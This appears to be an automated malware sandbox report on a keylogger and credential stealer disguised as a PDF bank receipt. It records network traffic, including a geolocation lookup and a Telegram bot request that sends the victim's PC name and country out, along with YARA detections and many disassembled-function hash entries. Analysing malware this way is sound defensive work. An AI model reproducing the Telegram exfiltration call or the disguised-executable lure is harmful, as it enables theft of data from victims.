2025-01-15 03:02:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49725	104.21.96.1	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:08 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 03:02:08 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 03:02:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2224918 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j2dMRE9OabsAxRuUFAXZ5%2FY0TDGiksc%2FuXfPHzkAFyFvSH2fCIRySNeYNbCPRpNtPYVrpocoRAuu45DyTXbbuBTtAYPMN7UX9WTNBlpLOeUcGUsABfMPLf3MuvDqjtxad8o5qIrt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9022a011be0f72a4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1965&min_rtt=1960&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1457085&cwnd=212&unsent_bytes=0&cid=c1738a321b37878c&ts=135&x=0"
2025-01-15 03:02:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49726	149.154.167.220	443	320	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:02:09 UTC	349	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:414408%0D%0ADate%20and%20Time:%2015/01/2025%20/%2009:17:21%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20414408%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2025-01-15 03:02:09 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Wed, 15 Jan 2025 03:02:09 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-15 03:02:09 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Target ID:	0
Start time:	22:01:54
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"
Imagebase:	0xa00000
File size:	854'016 bytes
MD5 hash:	EBA7FF0D3CB799AF22795E1D3C55360C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.2042995856.0000000004672000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:01:55
Start date:	14/01/2025
Path:	C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\rDEKONT-1_15_2025__75kb__pdf.exe"
Imagebase:	0xc80000
File size:	854'016 bytes
MD5 hash:	EBA7FF0D3CB799AF22795E1D3C55360C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.4499590469.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.4501375928.0000000003091000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.6%
Total number of Nodes:	91
Total number of Limit Nodes:	7

Executed Functions

Function 060C80B8 Relevance: 6.9, Strings: 5, Instructions: 651
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Haq, xrefs: 060C8C9B
Haq, xrefs: 060C8C14
Haq, xrefs: 060C8D25
Haq, xrefs: 060C8DE3
Haq, xrefs: 060C8B81

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Haq$Haq$Haq$Haq$Haq
API String ID: 0-1792267638
Opcode ID: b41459c70e7e7625ddc1273b899ed465644ea76071d8f8dc993d65134d8ca8ae
Instruction ID: 32d280cbacac8ee463124c2c7efa15c8b00380274ef855e3cefaca1ac2eb7e6d
Opcode Fuzzy Hash: b41459c70e7e7625ddc1273b899ed465644ea76071d8f8dc993d65134d8ca8ae
Instruction Fuzzy Hash: D3423B70E402188FDB94DFA9C89079EBFF2AF88310F14C56ED409AB395DA349D45CB95

Function 02CC7D98 Relevance: 3.1, Strings: 2, Instructions: 581
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02CC807B
d, xrefs: 02CC8702

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Pp]q$d
API String ID: 0-2482886756
Opcode ID: be616f0b9e5c7799db603cad75c02c6d3422ae9fd9c8b0499f77ff8ae08c7aee
Instruction ID: d361e5d93f97aaa6fc8bd613532915b4d9c698d74daba3f2b9072e730c454ec9
Opcode Fuzzy Hash: be616f0b9e5c7799db603cad75c02c6d3422ae9fd9c8b0499f77ff8ae08c7aee
Instruction Fuzzy Hash: 3862CF74A00229CFCB25DF68C994BD9BBB2FF89300F1086E9D549A7254DB71AE95CF40

Function 02CC4224 Relevance: 3.1, Strings: 2, Instructions: 579
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Pp]q, xrefs: 02CC807B
d, xrefs: 02CC8702

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Pp]q$d
API String ID: 0-2482886756
Opcode ID: eea97bbd24c1d129db2b49add05582932d5660257f464e2d0feb6320fb788876
Instruction ID: e5dc2ebc88bed2818d0df3b63bca421542f3cf85b0d56f9182b7692bd26699e2
Opcode Fuzzy Hash: eea97bbd24c1d129db2b49add05582932d5660257f464e2d0feb6320fb788876
Instruction Fuzzy Hash: 6652BF74A00229CFCB25DF68C994AD9BBB2FF89300F1086E9D549A7254DB71AE95CF40

Function 060CF3AA Relevance: 2.7, Strings: 2, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 060CF469
Te]q, xrefs: 060CF600

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: db590b146f3d63c44f88233d0c3003e4ed4611508c3da72eeaf156f379d2a20c
Instruction ID: 3e8003424ff19113b6a9c196a259e1bbe5e462eabd18a09f1eb7ec988e836a39
Opcode Fuzzy Hash: db590b146f3d63c44f88233d0c3003e4ed4611508c3da72eeaf156f379d2a20c
Instruction Fuzzy Hash: 06911574E00219DFDB48CFA9D984AEEFBB2FF89310F14912AD905AB354D7309946CB51

Function 060CF3CF Relevance: 2.7, Strings: 2, Instructions: 203
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 060CF469
Te]q, xrefs: 060CF600

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 5490c35ec81076c37a8031cfce09f3b0b382dc95482ca7ac039ce8f0c28dbc7f
Instruction ID: fbdd989f0ec98e591089add6ac356c6e2c5dffc0a87b7c0c22051d64e9086365
Opcode Fuzzy Hash: 5490c35ec81076c37a8031cfce09f3b0b382dc95482ca7ac039ce8f0c28dbc7f
Instruction Fuzzy Hash: 97810474E01219DFDB48CFA9C984AEEFBB2FF89310F24812AD815AB354D7349945CB51

Function 060CF3E6 Relevance: 2.7, Strings: 2, Instructions: 196
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 060CF469
Te]q, xrefs: 060CF600

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 5af96f3164e4662d0acadf39cbeae3d46d00728e484afcfdf802770ef30f746e
Instruction ID: 66152ef534e053d3dbda30f9115b1b84de00fc38b1ebf1fbc08f62eaef7f4517
Opcode Fuzzy Hash: 5af96f3164e4662d0acadf39cbeae3d46d00728e484afcfdf802770ef30f746e
Instruction Fuzzy Hash: 3F81F274E006199FDB48CFE9C984AEEFBB2FF89310F24812AD815AB364D7349945CB50

Function 060CF400 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 060CF469
Te]q, xrefs: 060CF600

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 54ac85438f58cfdd3fa6e3eb884a517cfb07f86ee7ce900818739db1394d0eea
Instruction ID: 02a468f36e1630f3971fbcd4bd346ed12eb4bf9b98351a60769c5980b759fcef
Opcode Fuzzy Hash: 54ac85438f58cfdd3fa6e3eb884a517cfb07f86ee7ce900818739db1394d0eea
Instruction Fuzzy Hash: 2181C374E006198FDB48CFE9C984AEEFBB2FF89310F24852AD915AB354D7345945CB50

Function 0827407B Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

5{, xrefs: 08274272

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: f078d81113778c9327c44d08ecb24038d6dbe46ade0ba49a029770772320bde0
Instruction ID: 734e2f6c6dc2cf61a1c322386aa29fa9ac3aa58afb304e67c06b6de04574a8f4
Opcode Fuzzy Hash: f078d81113778c9327c44d08ecb24038d6dbe46ade0ba49a029770772320bde0
Instruction Fuzzy Hash: A6B15A74E11209DFCB08EFA9D6448AEFBB2FF88311F10946AD805AB364DB349951CF65

Function 08274088 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

5{, xrefs: 08274272

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 5{
API String ID: 0-2291050889
Opcode ID: 7ede8bb938f69fbf12b2b0efa3efa6405e2bad8ad854545027024e7beb6ef409
Instruction ID: 3d8134e85b83941221042b2f55a4ceb6e2e27c009b099f041a5066e84e91393f
Opcode Fuzzy Hash: 7ede8bb938f69fbf12b2b0efa3efa6405e2bad8ad854545027024e7beb6ef409
Instruction Fuzzy Hash: 6FA14974E11209DFCB08EFA9D6848AEFBB2FF88311F109469D805AB364DB349951CF65

Function 08275B30 Relevance: 1.5, Strings: 1, Instructions: 208COMMON

Download Yara Rule

Strings

j4$y, xrefs: 08275D46

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: 1f843628293935764c9767499059ea24911770917ffabd2e7336d00dd81bc6c2
Instruction ID: baab3bdde0641e9cfbb7a39f729087ecd7be1b36d5ff90e6f799b144e7a96c97
Opcode Fuzzy Hash: 1f843628293935764c9767499059ea24911770917ffabd2e7336d00dd81bc6c2
Instruction Fuzzy Hash: A2812BB0D65209DFCB08CFE6D5808AEFBB2FF89311F10942AE515AB268D7749942CF44

Function 08275B23 Relevance: 1.5, Strings: 1, Instructions: 207COMMON

Download Yara Rule

Strings

j4$y, xrefs: 08275D46

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: j4$y
API String ID: 0-2391584009
Opcode ID: a53ddfae18748767fa542fdb37eef8616d77dd1f07572b3db476de57a046a3d4
Instruction ID: cd617005ed194f0639126dee05ebfcf91d24dd37506675cc5ebd2e31704ab9e5
Opcode Fuzzy Hash: a53ddfae18748767fa542fdb37eef8616d77dd1f07572b3db476de57a046a3d4
Instruction Fuzzy Hash: BC812C71D65209DFCB08CFA6D5809EEFBB2FF89311F10942AE515AB268D7749946CF00

Function 060C85B3 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62ee6ce49dd6c1e7717262fb31302693aa9da11d0e8bab44f10e9a32f843ab11
Instruction ID: 28d09a774e6b1ebb04bb1e3697aed286e0b0d3f84c1664f78dd46ba9c30c1db1
Opcode Fuzzy Hash: 62ee6ce49dd6c1e7717262fb31302693aa9da11d0e8bab44f10e9a32f843ab11
Instruction Fuzzy Hash: 3BC13A30E402199FDF95CFA5C88079EBFF2AF84320F14C56AD419AB255EB309985CF55

Function 082744B8 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6f145a4f13ffc7bc6ec506c32b4020683b8afef4191a8a34088b9c61b78632cb
Instruction ID: 68dc4086ea481f900356f91d0cc7661c9740a49c4069466d4a5ce7e3b42ce764
Opcode Fuzzy Hash: 6f145a4f13ffc7bc6ec506c32b4020683b8afef4191a8a34088b9c61b78632cb
Instruction Fuzzy Hash: 85512970E25209DFCB08DFA6D4454AEFFB2FB89311F10992AE415E7254DB748A01CF58

Function 082744C8 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79570df9aa8789e1b0e4c8726fd294062adc2302205e29989b1d52e7437c9eb1
Instruction ID: 54d0688daa9fba97ae15b1a2d4869fe98f0907303ae6b213b2b0ce48e3aa22a0
Opcode Fuzzy Hash: 79570df9aa8789e1b0e4c8726fd294062adc2302205e29989b1d52e7437c9eb1
Instruction Fuzzy Hash: 9A512770E21209DFCB08DFA6D9454AEFFB2FB89311F10992AE415E7254DB749A00CF58

Function 060CFB58 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d50cf9f2a2617f096b8cc3440b89930c136af4bd6a058daefeb4e2652285b9da
Instruction ID: 3fa658b4f5531a6379f7f0fb6f731d5fdc76bdb8656849447340d84d583af095
Opcode Fuzzy Hash: d50cf9f2a2617f096b8cc3440b89930c136af4bd6a058daefeb4e2652285b9da
Instruction Fuzzy Hash: D85136B4E0520A8FDB48CFAAD5806AEFFF2EF88310F14C06AD819A7255D7344941CFA5

Function 082705B0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2db17011101f4fc2375be2b0861951e8067e26a99be6ea434ecadd7a4d371699
Instruction ID: 81bf7d4479eb806ca69e112433e7a6442d22dae5fb407753204d664253321986
Opcode Fuzzy Hash: 2db17011101f4fc2375be2b0861951e8067e26a99be6ea434ecadd7a4d371699
Instruction Fuzzy Hash: E0312671E012188FDB18CFAAD84469EBBB3EFC8311F14C0AAE409A7354DB315A95CF40

Function 060CE8C1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768afd540a5be540ebceb2c6a0a99f5c3ab6f38ec1792caa157a63d92db7536d
Instruction ID: 50e228a53cb6a6026d3b90847c5b5385a5fba0e179383f934706dbceacf30e42
Opcode Fuzzy Hash: 768afd540a5be540ebceb2c6a0a99f5c3ab6f38ec1792caa157a63d92db7536d
Instruction Fuzzy Hash: BC21CD71E016199BEB58CFABD84479EFBF3EFC8210F04C1BAD818A6214DB7409558F51

Function 082705A0 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15eadca1c2962db3c9c35c0f5e09af0b40c8f8401fe17ab214b309ebce7c4ae8
Instruction ID: 7635b645cafb938d752e3925ba78932bfc5d5c17a7725d100ed7e4ce64a876b2
Opcode Fuzzy Hash: 15eadca1c2962db3c9c35c0f5e09af0b40c8f8401fe17ab214b309ebce7c4ae8
Instruction Fuzzy Hash: 9421F7B1E016198BDB18CFABC94469EFBF3AFC8310F14C17AD408A6258EB740A95CF50

Function 0827A6E2 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2159140bd7e26156c71e2106c88f49aebc695b4ab7bddaaf96ca1b41a22a322d
Instruction ID: d4c27a5c30e0f2136b12642385ede9865b981fcb07bc461ffef12df58057f701
Opcode Fuzzy Hash: 2159140bd7e26156c71e2106c88f49aebc695b4ab7bddaaf96ca1b41a22a322d
Instruction Fuzzy Hash: B4112871D156688BDB28CF6BD8046EEFBF7AFC9301F14C17AD409A6265DB700A468F80

Function 0827E968 Relevance: 1.6, Strings: 1, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4']q, xrefs: 0827EE78

Memory Dump Source

Source File: 00000000.00000002.2046202539.0000000008270000.00000040.00000800.00020000.00000000.sdmp, Offset: 08270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8270000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: ee6f88781d526347661ef4223f21ba0d94719b46af4b154887298c95523cd89e
Instruction ID: 895fb1198e4c83b1d769a050de0847813b4f768d7b581a6f27c27f34e37e5dcf
Opcode Fuzzy Hash: ee6f88781d526347661ef4223f21ba0d94719b46af4b154887298c95523cd89e
Instruction Fuzzy Hash: CDE1F974A00209DFCB05EFBAD580AAD7FB6FF88704F108558E80567369CB35AD45CB51

Function 02CC5D77 Relevance: 1.6, APIs: 1, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02CC5E51

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 93c9be373e2fbfc8e85b596673f36e96704984c7fce37ce13f3cf9724405e38c
Instruction ID: a05b8e4c9608c806425510c3bb99d03e415ceae6108660ff2154a08581fff0c8
Opcode Fuzzy Hash: 93c9be373e2fbfc8e85b596673f36e96704984c7fce37ce13f3cf9724405e38c
Instruction Fuzzy Hash: 3F4111B1C00759CFDB14CFA9C884B8EBBB1FF49304F64806AD408AB251DBB5694ACF90

Function 02CC4524 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02CC5E51

Memory Dump Source

Source File: 00000000.00000002.2042357903.0000000002CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cc0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 0db7a38ffde258f70e7d516c3ff056efd401891fc2662228a60d3617cd659112
Instruction ID: ec49d845313a07c8aae2b3a58e5275934a4b0616ee8ca44065189a728cb8486a
Opcode Fuzzy Hash: 0db7a38ffde258f70e7d516c3ff056efd401891fc2662228a60d3617cd659112
Instruction Fuzzy Hash: 3941F1B0C0065DCBDB24CFA9C884B9EBBF5BF49304F64806AD408BB254DBB56946CF90

Function 060C8F88 Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2045425047.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_rDEKONT-1_15_2025__75kb__pdf.jbxd

Similarity

API ID: CreateFromIconResource
String ID:
API String ID: 3668623891-0
Opcode ID: c56fd398faf3e62cfe354130513751088e6ae1ea529f6987c738d07be129a93d
Instruction ID: e839213ff947c5dc71eb78107bd0aa498d65ad7528ed37ab7c0063544d7221ca
Opcode Fuzzy Hash: c56fd398faf3e62cfe354130513751088e6ae1ea529f6987c738d07be129a93d
Instruction Fuzzy Hash: 1B318B719003599FCB11DFAAD840ADEBFF8EF09320F14805AFA54A7221C3359954DFA0

